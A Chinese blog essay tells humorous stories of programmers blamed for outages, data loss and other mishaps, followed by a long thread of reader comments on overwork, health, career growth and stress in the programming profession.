池建强:历数程序员背过的锅

由于互联网的浪潮汹涌而至,程序员们突然就站到了世界的风口浪尖上,互联网上的一花一草一木,都与程序员息息相关。作为生性腼腆的手艺人,程序员们还没来得及从手足无措转化到从容优雅,就被世界上的各种荣耀、赞美、错误和黑锅砸的晕头转向了。今天就说说程序员背过的那些锅吧。

无论是互联网服务,还是企业级软件,一旦出现了问题,很多企业最先想到说辞都是:这是个技术故障,这是个 bug,程序员跑了,程序员刚来,这是前程序员干的,写这部分代码的程序员已经被干掉了……为什么程序员会频繁躺枪或膝盖中箭呢?因为,这个世界上几乎不存在没有 bug 的软件,即使你是最优秀的那个程序员,即使你是沃兹!

1977年底,沃兹和苹果第六号员工兰迪·威金顿经过不眠不休的编程和调试之后,终于完成了Apple II 对软盘驱动器支持的大部分程序。于是二人起身飞往赌城拉斯维加斯,准备参加 CES 展会。到了赌城之后,拉斯维加斯的滚滚红尘彻底迷乱了两个土鳖程序猿的心,一出美剧正上演……

当天晚上,沃兹和兰迪完成了最后的调试工作,一切都很完美,两个好基友就差对饮一杯红酒然后相拥而眠了。这时候,沃兹做了一个「明智」的选择:兰迪,咱是不是该备份一下程序再睡?兰迪说,对啊,你不说我差点忘了。沃兹带了两张软盘,于是他决定在空白盘上再备份一份仅有的数据盘,备份过程进行的十分顺利,他把空白盘当成了数据盘……于是他得到了两张干干净净的空白盘!

沃兹心里很苦,沃兹不说,而是睡了。

第二天一早醒来后,沃兹恢复了上帝般的自信,他冷静的坐在Apple II 面前,一机在手,天下我有,用一上午的时间盯着屏幕、敲打键盘,他重建了所有的程序,并在展会上进行了完美的演示, Apple II 获得了「言语无法描述的成功」!

伟大的程序员如沃兹者,年轻时也会犯下如此的错误。

还有一位程序员,他在一家网络游戏公司工作,他的一部分工作就是手动维护数据库里的一些数据,这个库是生产库!终于,在一个懒洋洋的下午,温暖的阳光照在身上,他发现自己昏昏欲睡,鼠标光标神差鬼使的移到了用户表上,右键菜单弹了出来,「delete」被选中,并被重重的点了下去……数据消失了,就像一阵风一样。当时这位程序员的感受是:

我的所作所为带来的严重后果并没有立即击倒我。我只是感觉到灵魂似乎出窍了,悬浮在黑暗房间的某个角落,我看到各位同事都勾着腰趴在发光的显示器上,他们惊恐的发现,所有的用户数据都不见了。

随后的一记重拳彻底击垮了这家公司,他们的数据库提供商告诉他们,由于忘记付费,这个数据库实例的备份两个月前就停止了……结果是,程序员和这家公司都消失了。

事实证明,一个程序员干掉一家公司,是可行的。

在漫长的互联网进化过程中,这种血淋淋的事实虽然不多见,但从未消失。慢慢的,各种真·锅和黑·锅,都开始找程序员的麻烦,毕竟,一个技术故障,总比犯错后用公司的价值观、规则、脸面和其他东西去解释容易得多。

云主机用户的文件被系统的安全程序隔离了,导致服务大面积瘫痪,结论是由于程序员粗心写错了一行代码,从而将所有新启动的可执行文件都当成了恶意文件进行隔离……

我想,这个倒霉的工程师一定是安全工程师。

一家旅游公司的互联网服务全面瘫痪,不可用时间超过了12小时。系统恢复后,官方表示,是由于工程师的错误操作删除了生产环境上的代码导致的……

我想,这个倒霉的工程师一定是运维工程师。

一家电商公司闹出了产品预约人数的造假门事件,结论是由于系统出错导致前端数据被清零,于是一位自告奋勇的前端程序员冲上去把后续的预约人数乘了个三……

我想,这个前端工程师的勇气是真·勇气!

还有前一阵的招聘们,A 招聘公司的程序员不仅自告奋勇入侵了 B 招聘公司的系统,并成功下架了人家在 App Store 的应用……

我想,这个工程师,可能是之前几个工程师的合体!

锅如此多娇,让天下程序英雄竞折腰!

不可否认,很多坑是我们程序员挖的,有时候做做背锅侠也是义不容辞。但是,不犯错怎么成长呢?每个程序员都是在一个又一个的错误中成长为杰出的架构师、技术经理、CTO、创业者和产品经理。指望程序员不犯错是不现实的,我们能做到的是,不再会犯同样的错。

为什么有产品经理呢?可能是犯错太多转行了吧。

【文/池建强(MacTalk 微信号:sagacity-mac)】

·氧分子网(http://www.yangfenzi.com)延伸阅读:

分享给您的好友:

您可能还喜欢…

  1. 乘电梯的时候看着电梯的按钮面板(UI)常常会开始思考电梯的调度算法,然后仔细一想好像状态挺多的,多个实例之间状态可以互相影响,还涉及到一些优先级、加速度、预判方面的东西,仔细想想其实挺复杂的,然后还没等到出电梯就放弃了。
    然后不知道哪次坐又会望着面板开始想。

    代码水平不高的时候,天天加班也干不完,还说其实是喜欢。
    随着代码水平的提高,注释写的越来越少,话也越来越少了。
    话说得少了,觉得办公室气氛变得有点压抑,于是离职换了一家公司。
    在新的公司还是那么忙,于是经常幻想老了就可以轻松点,却发现脑门子越来越大,眼睛看不清楚了胳膊腿儿越来越细,肚子越来越大,原来已经提前老了,但是还要加加班。
    终于有一天升职,来了几个帮手,可是他们水平不高,天天加班也干不完,还说其实是喜欢。
    这些新来的下属们加班总是帮倒忙,引入的bug比解决的bug多多了。
    于是每天劳心劳力的去帮助他们,要求他们代码写好,那样可以少写注释。
    终于发现他们的水平逐步提高了,注释写的越来越少,但是话也越来越少。
    话说的少了,似乎办公室气氛变得有点压抑,终于下属告诉我已经辞职下月离职,这陌生的感觉仿佛换了一家公司。

    于是更加忙了,总是幻想老了就可以轻松点,却发现脑门子越来越大,眼睛看不清楚了胳膊腿儿越来越细,肚子越来越大,原来已经提前老了,但是还要加加班。
    终于有一天又来了几个帮手,可是他们水平不高,天天加班也干不完,还说其实是喜欢。
    这些新来的下属们加班总是帮倒忙,引入的bug比解决的bug多多了。
    于是每天劳心劳力的去帮助他们,要求他们代码写好,那样可以少写注释。
    终于发现他们的水平逐步提高了,注释写的越来越少,但是话也越来越少。
    话说的少了,似乎办公室气氛变得有点压抑,终于下属告诉我已经辞职下月离职,这陌生的中铁大桥局,执全球桥梁工程牛耳,云南普立大桥,当前全球第一高桥。现场资深建筑工程师,住工程房,餐风宿雪,一年回不了几次家,月收入不足两万。

    中国水电,全球水电工程项目几无敌手,某主力勘探院资深工程师,非洲丛林住简易房,一呆一个多月,国内出差以月计,平时半数在西藏,周六基本为工作日,国内时月入一万出头。

    以上两例,均是30-40之间的,智力体力都在巅峰。程序员同学自行对比。

    IT至今仍是投入产出比最高的行业之一,很多人天天挂在嘴边的金融IT男,不是空穴来风。

    这个行业这不算苦,不算累,只是有点智力门槛而已。

    我们程序员闲的没事时候,又习惯性不想离开计算机,然后就总编些自黑的段子,又苦又累也好,收入低早衰也罢,包括找不到媳妇之类,全是这么出来的,行外人不必当真。

    只不过,段子传的时间长了,信的人就多了。
    现在居然一些自己人也信了。

    后来的工作中,这个例子无时无刻的在提醒我:不要放弃自己的想象力,不要给自己设置限制。

    于是后来我发现,
    基础测试的问题,不一定需要一遍遍人工执行。 TDD 可以做的更好。
    数据一致性的问题,不一定需要 Oracle 来解决。使用 App Server 更简单更便宜。
    。。。

    不要放弃想象力,给自己设置限制。
    你看,大约四年前,我突然来兴趣,学着玩会了OpenGL。

    约一年后,正当我开心的画着一个又一个小场景时,我接触到了UE3的源码。看进去发现,别说宏观架构,就连人家的shaders我都看不太懂,之前从没想过像那样组织shaders的代码,那真是一大坨一大坨的。打击特别大。

    大概半年前吧,我调到了一个闲散部门。业余时间打算严肃的弄弄图形学。

    深入进入就发现,之前好不容易搞明白的phong-blinn光照、deferred rendering、shadow map神马的都是屎。对,在这用一个粗字就是我的本意。

    知乎图形学分类的众神的问题回答和个人专栏,看得我头晕眼花腿抽筋。什么全局光照,什么环境光遮挡,什么基于物理的渲染,什么次表面散射……满眼的名词和公式,永远学不完的技术和方法。

    这就是一个程序员真正的苦和累。图形学只是个例子,各个领域都类似。

    与加班无关。

    与手腕和颈椎无关。

    与收入无关。

    一入程序门深似海啊。感觉脑袋永远不够用。永远活在众神的身影之下。

    复heweifu,你这样不让回复,是怎么个意思?

    什么叫老板养着我们的b级车和第二套学区房?我们吃白食么?第一,我们老板开c级车,我们这些小员工,能开个10万左右的车就知足了,上个牌都费劲。第二,别说第二套学区房,就是第一套,离着市区还得一个小时的车程,如果楼下私人幼儿园算学校,我第一套房,应该算学区房。最后一点,什么叫“养”着我们,我们靠自己的成果吃饭,没有任何白吃白喝,我们一个月创造的利润也不止每个月发的5000-6000的工资。现在在这北上广深,找个中等的工作,也不止这点工资吧。

    我大概是两年前,不干了。其实我要是说出来原因,可能很多人都觉得熟悉,因为这样的故事或者类似的故事,几乎每个单位都有!

    我做这行,大概是5年吧,最后一年的时候,办公室老大病了,心肌炎。原因比较简单,加班累的。加班,这俩字,熟悉吧!

    老大,连续两个月,每个月加班超过20天。我说的加班是指加班4个小时左右甚至以上!一两个小时的那就不能叫加班了。
    那阵子有个项目,是西南某个私人电厂的一个关于电力的一个项目,催的稍微有点紧,可是班组里有个人车祸。单位也不给补人,我们老大没办法,就自己顶上了,一直加班。
    有一天,(以下都是事后知道的),大概是晚上10点,我们那边就剩我们老大自己了。他突然觉得有口痰似的堵在胸口,一口吐出来,是一口血。之后自己晕倒了。那天吧,我们楼上巡逻的保安,估计偷懒了,光走个过场,溜达了一圈,也没仔细看看。直到第二天早上六点,第一个来上班的人发现,送医院了。

    查来查去,心肌炎,说白了,得这种病的人都是累的。以后不能着急上火,不能熬夜不能干力气活,甚至说生个闷气都不行。
    我们去看老大的时候,老大说着说着就哭了,一个30岁的大老爷们,哭了。说了很多,大概是说 他觉得人手不够,自己多加个班,让大家伙轻松一点,没想到出这样的事。他说“我以为单位缺了我不行,没想到我前脚病,后脚就找人补上去了,原来也不是缺了我不行。可是我家缺了我不行呀”

    之后我们每个人给了2000的份子。因为他上有老下有小,而且以后再也不会出现在我们的生活里了。

    其实出了这样的事。我心里应该说有暗喜,也萌生了退意。
    也许有人会说我“你暗喜”不道德,真的,暗喜!不是因为我要借位升职。所有的人都知道这个行业加班就是万恶的源头。不加班简直没有活路,所以加班都成了常态!不加班做不完,加班代表你效率低。在这种矛盾的理论下,你逼我我逼你,相互喂毒药。你加班就是逼我也加班,现在出了这样的事,加班累出来的病,影响一辈子,我看谁还敢,谁还会主动要求加班!我巴不得每年都有这么几起事,警示这些人“别再自己坑自己了”

    近几年,这一行涌入太多的急功近利的求职者,培训学校批量copy/paste生产的码农,一批一批又一批。
    多少人是真正热爱这一行,多少人是因为薪资高而入坑。从前一两年飙涨的移动开发和移动开发的薪资就可以看出端倪。

    他们中那些不热爱这一行的人,在加入这一行发现码农工资没有传说那么高,还得天天加班。技术日新月异,新东西层出不穷,对于那些学习能力低的,简直就是掉入无底深渊,恶性循环。
    不喜欢这一行,自然不会研究新技术,用的都是培训的老一套,结果无法高效的完成工作,问题不断,接着就是无止尽的加班。

    不喜欢这一行,也不会去在工作之余去研究新技术,新框架,越来越无法满足变态产品提出的变态需求。

    不喜欢这一行,就不会用于承担更大的挑战,无法也无毅力解决重大难题,越来越感到力不从心。

    对于我自己来说,码代码五年多,从来不会感觉多苦多累。因为我把自己的爱好变成自己的工作,从事这一行,不是因为薪资高,而是因为我热爱这一行。

    当年,我陷入这一行可是一个很美好的过程。
    每每照着例子,在IDE写出小例子并且顺利运行时,我都能从中获得莫大的成就感和满足感,对代码的爱,也会随之加深一份。
    每当看到别人对我已解决的问题有了更牛逼的解决方法时,我都会跃跃欲试:卧槽,这么屌。
    每当我从一个成熟框架之中学到新的思路,新的算法,我都会想:卧槽,这装备不错,我又变牛逼了。
    每当把一个最近刚学的算法,成功运用到项目并取得不错效果的时候,我心里会默默的给自己点个赞,自信心爆棚。
    这种陷入过程,我相信,不是每个码农都有的。有的人,自然懂我所说。

    说说自己的实际情况吧。
    我是一个java方向的搜索引擎开发,五年始终如一。
    也是属于那种,给我一台电脑,就可以给你一个完完整整的搜索引擎服务的人。

    架构设计,服务器安装,服务器参数调整,web容器安装调优,项目框架设计,技术选型,搜索引擎模块(索引,查询,同义词,分词,定制化排序,数据抽取)分割,代码编写,单元测试,功能完善的管理后台(数据调试,任务管理,包括css,js所有都可以搞定)。我对于前端技术的掌握,仅限chrome类浏览器的页面兼容,80%以上的CSS基础代码没什么问题,对JavaScript的掌握程度也基本不输大部分三年左右的专业前端。

    我非常喜欢JavaScript,以至于我在搞搜索之余,会花大部分代码时间在折腾js之上,写一些小类库,自娱自乐。

    说这么多,想表达的是,我干码农这一行,干的不仅仅是工作的内容,还有非常多的工作之外的代码,这让我永远不会对码代码感到枯燥,更加不会觉得这一行累了。

    兴趣是最好的老师,也是我源源不断的动力…

    有好心指出我单词写错的,在此一并感谢了!确实,我一直(从业以来)都把这个词写错了…

    还有少部分人指出我“鄙视培训出来的码农”,更甚者说我“排挤”后来入行的。
    其实挺佩服你们的G点。
    我来这回答,仅仅是对于题主的问题提出自己的见解,全文没有任何“鄙视”和“排挤”。通过一篇文章可以“鄙视”和“排挤”出什么花头,我也无需通过这答案来达到什么目的,顶多多几个人关注我。
    对我来说,提高自己的硬实力,提高技术和业务能力才是根本,只有如此才不用担心别人排挤我,鄙视我。

    萌生退意,是因为我觉得我解决不了加班的问题。就好像某个朋友跟我讲述小米公司的故事,年会写新年愿望,抽出一位,尽力帮他达成,一屋子子人,基本上都写的是“明年不要加班”,最后小米应该是取消了这个环节。而且出了这样的事,很多单位做事都比较绝情,给一笔小钱,三两万块钱,就辞退了。你在公司的位置可以找人代替,可是你在家里的位置呢?

  2. 每天想几点上班几点上班,想几点下班几点下班,这有什么累的。

    上班的内容是创造世界上还没有的东西,做没人或者很少人做过的事情,这种感觉多美妙啊。

    在一个优秀的团队里,就用那种拼2000块的拼图,然后其他人扔到你这边的碎片都是你恰好需要的那种感觉。大家拼着拼着,拼图就慢慢从一个概念变成一个边框,一块块图案,一片片区域,再补上最后开始找不的位置的几个零散的碎片,一副完整无暇的拼图完成的时候,是多么有成就感啊!

    赚钱也赚的很多呀~够吃够喝够住够穿,从来不会做什么事忽然想,哎呀这个月工资还没发,我还不能买。

    而且写程序是个计算机打交道,计算机是完美的理性对象,非常有逻辑。一切行为,对的就是对的,错的就是错的,如果错了你一定可以知道为什么,他的每一个步骤都有据可循,不和你闹脾气,也不需要你态度好,更不会给你模棱两可的答案,只要你下工夫,永远可以完美完整完全地解释发生的一切,这还不够美好么!!

    解决一个bug的时候,就像把理发时候掉进衣服里的碎头发找到揪出来,或者把牙缝里塞的牛肉剔出来一样舒坦啊~虽然过程可能是痛苦的,但是既然是不可避免的,就享受解决痛苦之后的愉悦呀~总不能不理发了或者不吃牛肉了吧~

    在家办公自然是有的啊,但是一直在家是不利于和同事之间的交流的。而且家里环境太舒适了,也不利于好好工作~还是要来公司比较高效~

    随着工作经验和水平的增长,你慢慢需要带人,管理团队,为你手下的人负责,和其他团队撕逼,大会上扯皮等,会觉得有点心累。。。

    一个朋友是猎头,每天打电话到十一点,整理资料到一点半,周末无休(当然是为了多挣几个钱)。电话里紧着小心,面谈时陪着笑脸。做的单子是互联网的,程序员情商低的时候有多低我自己也是知道的,无数次委屈着微笑点头,晚上回来对着镜子叹气。您说,辛苦不辛苦?
    一个朋友是四大的,朋友圈里都是晒加班,两点下班,三点走在二环,四点打不到车,还有去医院做的体检,自己都不敢看。您说,辛苦不辛苦。
    一个朋友是公务员,单位走关系排资历,对谁都点头哈腰,您说,辛苦不辛苦?
    一个朋友是房产销售,五点起床跑客户,带人看房子,打电话,早晨需要早早的跑到三四十公里外去排一个号。天天被人背后骂当面吼,也只能兢兢业业的做着。今年据说指标又上调了。您说,辛苦不辛苦。
    大学最要好的朋友,在老家兰州做生意,招的小姑娘小伙子都不太干活,所有事情跑前跑后,为跑单子喝酒喝到通风。您说,辛不辛苦。
    所以啊,程序员辛苦吗?我也经常凌晨回家,也经常通宵加班,周末也经常就没有了。但我没觉得辛苦。
    我也需要反复和pm啊运营啊设计啊其他团队啊确认需求、推进需求、梳理需求,也需要带人带团队想方设法的弄点东西来帮助新生自我提升,也需要去和其他team争执,和老大力争,顶着kpi,背着无数的锅。
    但是辛苦么?不辛苦。你认为的劳心,每个行业都需要面对。你认为的劳力,其他人比你辛苦的多。
    活在世间,都是妖怪。不是么?
    我属于在家上班,后端程序员。
    累肯定是累的,但是好好规划时间很重要。我发现身边很多人不拿时间当时间,动不动干很晚,不是说工作量大,给我的感觉是反正也晚睡习惯了就做晚一点也没关系,拖拖拉拉的感觉更多。 而且写代码不讲究方法自己给自己挖坑。

    我在这里呼吁广大同行不要以熬夜为荣,合理有效的安排时间,聪明地工作,而不是勤奋地工作。

    再说一下在家上班的感觉。很自由,开开小差也没人管,中午看个新番吃个饭还能在自己的床上小憩一会儿。缺点是上下班的界限不清楚,可能在家一呆就呆了一天一直在写程序,没有什么东西触发你出去走走。 如果不是在一线城市remote一些技术聚会参加不了,氛围要差一点。

    强烈呼吁广大同行培养一些第二爱好,分散一下注意力,有助于拓展思维。

    作为一个九零后的程序员,看着公司的大佬提的commit经常都是一两点钟的,早上五点爬起来偷偷上线,也确实不容易。

    最后我觉得不管是喜欢编程还是赚钱,这都无可厚非,不影响变成一个优秀的软件工程师。有付出就会有回报,有努力也会有收获。

    首先提出模型,根据Jack Ma “钱,没到位,心委屈了” 理论,员工对自己职业的感受可分为以下两类:

    1. 经济回报 - 工资,福利
    其一是钱,其二是工作时长,钱多但加班多,经济回报也不高。

    2. 心理回报 - 认同感,成就感
    其中,认同感可以是来自老板同事的反馈,合作是否愉快。成就感可以是你做成一个project,或者每天都有收获。

    然后我们来枚举一下,大概是以下四个阶段

    ===============================================
    阶段 | 经济回报 | 心理回报 | 结果
    1 | 低 | 低 | 后悔入错行,身心具疲
    2 | 低 | 高 | 累但快乐着,为升职加薪努力
    3 | 高 | 低 | 钱多轻松但心累,想改变却舍不得放弃
    4 | 高 | 高 | 迎娶白富美,走上人生巅峰
    ===============================================

    半年之内我的二度人脉(即就是我朋友的朋友,只隔一个人)猝死了两个,其中以为还有九个月身孕的妻子。猝死了以后公司饮水处边上会默默多几块水果什么的…我同学他们组鹅厂做手游的,小头目老婆快生了还在盯项目上线。打电话说要生了,过去看了一眼,生完又回来了。若干业内好友基本都是晚上8点以后下班,到家后11点左右好在早上上班不是太早。有个学习,写代码写的脖子上套了个箍。臭名昭著的996,以及某著名网络设备&手机厂商的《奋斗者申请协议》就不说了╮(╯_╰)╭。有个段子,某公司楼里边有个宠物之家和儿童乐(ji)园(cun)。特别人性化是不是?其实是因为不带过来就都饿死了…前些天还和人聊天,觉得晚上11点要是能回到出租屋就满足了…至少不是11点。差不多就是这样。

    所以,程序猿锻炼身体很重要啊。之所以这么累,基本是三点,一点,软件的工期是很难估计的,特别是让程序猿自己估计的话。另一点是发展太快,大家都在抢商机,抢着上线。还有一点是某些变态 Leader 的加班文化 Orz,总觉得只要加班就能提高产出…一点软工的常识都没有。估计行业发展一段时间成熟以后加班的现象会有好转吧。微软啦、IBM 啦、intel 什么的外企加班都比较少。毕竟加班基本上就是在写 bug 不是么?

    初始任务为带队驻场保初验,后续任务为原班人马就地待命修整,修整24小时后,是的,仅仅24小时修整后……进入以下状态:调研设计协调确认编码测试修改联调封测后,天上砸下不可拒新需求,全员切换7*12模式,该状态死循环两个月。但7*12这种幸运模式,我这种衰人不配拥有。白天跟开发,午时做案头,晚上跟测试,凌晨理思路,晨会拍桌子。每天清晨在大帐篷里对着一群高级迷彩拍桌子,最后十天,时年26岁的我,已经彻底无视对方肩头到底扛的是什么星,疯了似的红着眼拍桌子,不行不行不行!我知道没用,终究还得干,不能也无法真的拒绝。

    终验通过,随后的验收总结会上睡着了,据说呼噜震天响,据说首长不许叫醒我,据说会议在我的震天呼噜声中继续。庆功宴,半瓶啤酒,醉,倒,半小时后闷醒了,胸闷,呼吸困难,高热,送医务所,心跳186,速转就近地方医院,心跳188,入院七天后,逐步好转,修养两个月。

    当我躺在疾驰的野战救护车上时,左右手分别打着点滴,前胸贴着电极,虽然有些迷糊,但看着眼前忽而温婉可人忽而英气逼人的护士妹子,听着前导车后卫车刺耳的警笛,感受着风驰电掣驶过郊区驶入市区,似乎所有的通过路口都已红灯禁行,牛逼!我开始没心没肺的傻乐:麻痹老子总算晋升特权人士之列,值了,要是回头能把这护士妹子拐到手,再来一次也值…如果还能活着…

    工作几年以来,伴随着接触程序员的面极速增长,我对下面观点的体悟越来越深:
    一、其实每个行业都有各自的辛苦
    二、控制欲望,做正确的事情,就不累
    三、好的程序员并不累,他们乐此不疲

    工作将近两年了,第一家公司朝九晚五,双休,满一年年假五天,周末要加班的话,给工资同时准许一天调休。在这里,我没加过班,晚上一般五点四十就走人了,走的最晚的一次是七点半,还是因为离职的时候技术总监找我谈话。
    现在公司,朝九晚六,双休。早上一般十点到公司,下午七点撤。上个月为了钱加了一个月班,不觉得累,毕竟我是可以选择的,并不强制。最让我烦的一点就是,测试提bug过来往往是我要下班的时候,其实上班期间很多时间我都在写github上的东西,但就是不提bug给我……

    有点不明白累的定义在哪?即使下班得早,回去也是看书、撸代码,恩,撸的不是公司代码而已。

    其他兴趣爱好自然有,早上七点起床,足够我去跑个步,背点单词啥的了。周末和朋友去逛街看看风景,打打lol,聚聚餐,挺舒坦的呀~

    ps:刚下班,倒是没想到回答这个问题不久就被打脸了,有点儿惆怅呀……最晚下班记录……

    闲聊一下,如果你觉得很累,那就要回到原点问问自己为什么要做程序员:)

    因为见过太多在职位事业、人生方向上随转如流的人,累了疲乏了就去做别的事情了。如果一辈子找不到自己该有的坚守和立足的点,并基于这个点在这个时代的大趋势中不断乘风破浪前进,自我主动驱动有所作为建树,而是沦为在别人的体制制度中被驱赶一生,我想无论什么工作都只是一时的寄托,外加自己错误的欲望肯定苦累不断。

    这世界本就是生无所息,底层大环境如是。那为什么有『累』?素书里面有一句:『绝嗜禁欲,所以除累』,我看了头皮发麻一样共振。

    回头想想,就我个人来说,应该是从小有那一种把任何一件小家电拆开玩个究竟的驱动力,让我知道有电脑这个东西后对它乐此不疲。这种吸引力相当『恐怖』,我妈后来回忆家里的第一台电脑就是小时候一个大正月十五我哭闹着喊买的。忘了什么时候知道了比尔盖茨,后来又看到了李想、戴志康之属,仿佛自己就要成为那样的人,导致后面中学就开始自己用dreamweaver做网站,高中时半天出来上网吧全在维护自己的网站。高中毕业填志愿,一本、二本、三本、四本全部填了计算机相关专业,去哪里无所谓只要专业对口。暑假一过从家乡重点高中上了当地一个普通二本,高中老师同学眼中对这个大学是不屑的。上了大学就没有停过了:工作、买书玩命学技术、搞工作室、建社交网站。后面出来工作、自己开了小公司,遗憾一年多办垮…这一路,甚至未来的路我都感觉到好强的牵引力。这种力量驱使下我没有停过,一直都是早9晚10的工作状态。有时候往身后椅子一趟就睡着但并不累,有时候口里的累其实是需要睡觉。
    一路坎坷,年龄越大越感觉内修,自我反思革新的重要性。这种牵引力虽好,但我无法分辨到底哪些是理想,哪些是欲望,哪些是陷阱?被胜利冲昏头脑后的大跃进,往往后面伴随着是致命的结局,过由不及。由于最近在给一个大V自媒体公共号做社区,就在回答这个问题的前几分钟,我还在想要做一个颠覆贴吧的产品,想着想着就心潮澎湃,感觉满地是机会。这种在兴趣方向上夹杂的欲望和错误的判断,如果一踏入后面就是无尽的累苦。所以做正确的事情非常重要。

    理想之下,现实之上。作为程序员我一直认为能安安静静写代码是一件非常幸福的事情(前提是我不需要产品经理,我能控制需求,创造我想创造的部分)。当然有时候去为别人搬砖,看到像一点点的从构想变成产品也有一种非常的成就感。

    原来层面有限,只知道自己圈子里的专业方向上校友的工作状态,他们大部分也是随波逐流,无赖处于开发的最底层,上不去,工作都是搬砖造轮子,需求又不停,一直累得不行。
    工作原因,接触程序员数量和质量都在不断到一个新的高度。才知道好的程序员其实并不累,虽然都有忙闲,但他们效率极高,兴趣所在,做事能排期稳步推进。我司的程序员很多兼职着另外一份工作,有时还游刃有余。

    阅历越增加越知道 各行各业都有自己的辛苦。但辛苦并不等于累。

    不扯了,不论如何,积极的心态,规律的作息运动,正确的事情。

    希望程序员朋友都越来越好

    在家办公的分两种:
    短期在家办公:这个随个人意愿。想在家办公或者有事,可以不来。一天或者一两周都没事。也不用请示,发封邮件就好了。

    长期在家办公:这个得申请。base在国外的同事几乎都是在家办公。国内的需要跟领导申请,只要理由正当,一般也没多大问题。

    有一次老婆去网易和闺密聊了会,溜达到我楼下了,打电话说要来我公司参观。

    我带她在园子里转了转,结果她坚持要参观我的工位。

    我纳了闷,还是带她参观了,并热情地介绍了我的同事们。

    事后很多天,我在我老婆的微信里看到她和她妈妈这样的一段对话:

    没有被开除,应该就是比较闲啦!

  3. 自学能力!
    这个真的很重要,行业在飞速发展,不可能一直靠着学校教的东西来吃老本的。不要以为给本书,给个文档,是个程序员就能学会一门新技能。事实上人和人的差别真的很大,我见过自学能力惊人的人为了看懂日剧日漫自学日语达到可以和日本人交流的程度,也见过很多连HTML+CSS入门都要别人一口一口喂的。

    为了时刻跟上行业的发展速度,保证自己不被淘汰,我也一直在努力提高自己的学习能力。

    我理解的自学能力分这几点:

    首先是学习内容的选择能力,就web前端开发而言,每年甚至每个月都有新东西出来。这就涉及到一个选择性学习的问题,你不能今天搞一下angular,明天又去弄一弄vue,要弄清楚自己学习的真正目的。比如我们公司就会有涉及到不同的产品线,有的人负责PC端的ERP应用开发,有大量的数据处理和DOM操作,面对产品那边不断过来的新需求,会有大量的可复用组件需要封装。所以负责这一块的同事更多的是学习jQuery和类似库的操作已经PC各浏览器的兼容性和性能。同时还有hybrid APP的产品在开发,负责这一块的同事就天天抱着一堆手机在弄,平时研究得更多的就是移动端的一些技术了。所以有时候别看大家都在做前端,其实有时候做的事情差别还蛮大的。家里还有老婆孩子等着去照顾,我们有时候真的没有那么多精力去学会这个行业的所有的东西,找准自己的兴趣点和方向很重要。

    其次是学习的速度和质量平衡。去一家新公司或者介入一个新产品的开发,很可能会碰到之前从来没接触过的技术,这就是考验我们能不能在很短的时间内迅速上手。我们在学校学习的时候可以捧着各种“权威指南”慢慢啃,但是工作中很多时候压根就没太多时间去学习。我的做法是在了解之后迅速看各种实例以及公司现在的相关源代码,争取让自己感觉能上手干活,然后再慢慢去研究里面的一些细枝末节的东西。

    我在学习的时候发现很多时候我学过的知识点很容易过一段时间就忘记。比如JavaScript中的面向对象这一块,我最开始学习的时候只是捧着高程使劲看,跟着书里面的思路去理解,发现其实挺简单。但是过段时间又忘记该怎么开始了,反复循环了几次之后,我用了一个很笨的方法,那就是对着书使劲敲。边理解边敲,发现其实很多地方自己记忆有盲点,记得并不是很牢固。这里我主要用了两本书,一本是《JavaScript高级程序设计》,一本是《JavaScript面向对象编程指南》。在确保自己对书上的各种封装继承实例烂熟于心之后开始去github上找相对应难度的实例去看,这样在看了很多对面向对象的直接应用方法之后慢慢有了更深刻的理解。

    说一句题外话,我从开始学习敲代码的时候就喜欢对着书上的代码使劲敲,多敲几遍真的很能巩固自己的记忆和理解。但是有时候觉得厚厚的书拿在手上很不方便,所以去淘了一件神器,夹住书立在我电脑旁边,觉得还蛮不错的。

    注:大家去某宝搜索“夹书”,“书夹子”之类的关键字,找自己喜欢的款式喜欢的价格就行啦,很好找的,这里就不打广告了,嘿

    这是公司之前给我们培训Soft Skill用的全套培训材料,受益匪浅,是我职业生涯中黄金般的能量。
    需要的人就点赞吧,我要把这套东西整理、翻译到这里来,工程有点大,我真不知道能不能坚持下去!

    第一更:职业生涯的四个阶段:

    1. 受助和学习阶段
    1)在别人的帮助下完成分配的任务
    2)适应和熟悉工作环境
    3)遇到问题的情况下能够及时汇报问题,并在别人的帮助下解决问题
    2.独立贡献阶段
    1)按时高质量完成分配的任务
    2)独立完成有挑战性的任务
    3)独立解决非预期问题。
    4)对整个项目/系统有整体的认识
    3. 带动他人一起贡献阶段
    1) 具备深度和广度相结合的专业知识和技能
    2) 能够根据需要完成团队组建
    3) 能够为他人分享经验
    4) 协助他人处理问题并传授处理问题的方法
    5) 创建团队协作环境
    6) 带领团队关注结果
    4. 领导创新阶段
    1)对行业和领域具备一定的前瞻性
    2)专业水准得到组织内部及同行的认可
    3)根据专业判断为组织制定发展战略

    第二更:工作压力及如何缓解压力

    心理压力源
    (1)认知性
    目标模糊、不确定
    ,约定的目标难以执行 ,时间紧或等待 ,难以选择或没有选择
    (2)情绪性
    恐惧、焦虑
    、失败、悲伤、愤怒、挫折、损失和负罪感 ,厌倦产生的动机冲突、想家 ,精神上的诱惑导致丧失信仰 ,人与人的感情
    躯体压力源
    (1)睡眠缺乏 ,营养缺乏、疲劳 、伤病

    如何判断自己压力过大?
    如果你有发现自己有如下情况,可以判断为压力过大

    不断地让自己接受新的工作,同时也不放弃原有的工作
    开始怀疑生活、事业或者工作的意义。
    虽然很喜欢自己的工作,但投入过多的时间时有感到很内疚。
    有时候会莫名其妙地心烦意乱,甚至感到透不过气来。
    你知道你的工作需要感情投入,但不知道怎么做到。
    希望对工作更有自信心。
    似乎没有其他时间学新的东西。
    在工作空闲的时候也很难放松。
    有时候会莫名其妙地心烦意乱,甚至感到透不过气来

    如何缓解工作中的压力?

    立刻缓解法:
    停下手头的工作,去喝杯水或者看看窗外。
    戴上耳机听一会音乐。
    随便找个话题找你身边的人聊上几句。
    换个其他事情做一下,转移一下注意力。
    闭上眼睛,可以快速浇灭怒火。
    转转脖子,缓解僵硬。
    拥抱自己,用双臂紧紧拥抱一下自己。
    闻闻植物,离绿色植物10厘米左右,深呼吸5次。
    自我解嘲。
    击掌、跺脚,两三分钟即可。
    长期缓解法:
    设置一个明确的目标,努力弄清楚自己想做什么,该怎么做,越早好。尽量做自己喜欢的事,设置今后几个月或几年的目标。
    和谐的关系。努力在同事、合作者间寻求和谐轻松,有所回报的关系。
    完成工作的时间表。制定每项工作的完成时间。
    学会心理换档。每小时工作中抽出5分钟来放松自己。
    及时处理问题。越棘手的问题优先解决。
    快乐的工作。
    多参与户外活动或者体育活动。

    第三更:如何控制需求

